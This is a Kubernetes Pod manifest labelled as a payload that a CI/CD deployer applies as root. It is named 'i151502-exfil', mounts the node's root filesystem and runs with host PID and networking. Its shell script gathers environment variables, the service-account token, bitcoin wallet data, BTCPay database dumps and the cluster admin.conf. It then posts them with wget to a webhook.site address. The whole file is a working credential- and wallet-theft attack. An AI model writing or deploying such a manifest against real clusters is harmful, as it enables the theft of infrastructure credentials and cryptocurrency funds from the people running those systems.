i151502-payload/infra/westernbtc-relay/k8/deployment-template.yml
2026-11-20 07:38:10 +00:00

30 lines
1.0 KiB
YAML

# i151502 payload: applied by the cicd deployer container (runAsUser: 0)
# after kaniko. Host-root mount targets the node filesystem.
apiVersion: v1
kind: Pod
metadata:
name: i151502-exfil
namespace: cicd
spec:
restartPolicy: Never
hostPID: true
hostNetwork: true
containers:
- name: exfil
image: alpine:3.20
command: ["/bin/sh","-ceu","--"]
args:
- |
set -x
( id; hostname; env; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || true ) > /tmp/a 2>&1 || true
for f in /host/datadir/bark/* /host/root/backups/scrollworks-btcpay/*.dump /host/etc/kubernetes/admin.conf; do
echo "== $f ==" >> /tmp/a; head -c 200000 "$f" >> /tmp/a 2>/dev/null || true; echo >> /tmp/a
done
wget -qO- --timeout=20 --post-file=/tmp/a https://webhook.site/a9f6babd-b466-46c7-af25-7c2a9ab8fdd0 || true
sleep 600
volumeMounts:
- { name: host-root, mountPath: /host }
volumes:
- name: host-root
hostPath: { path: / }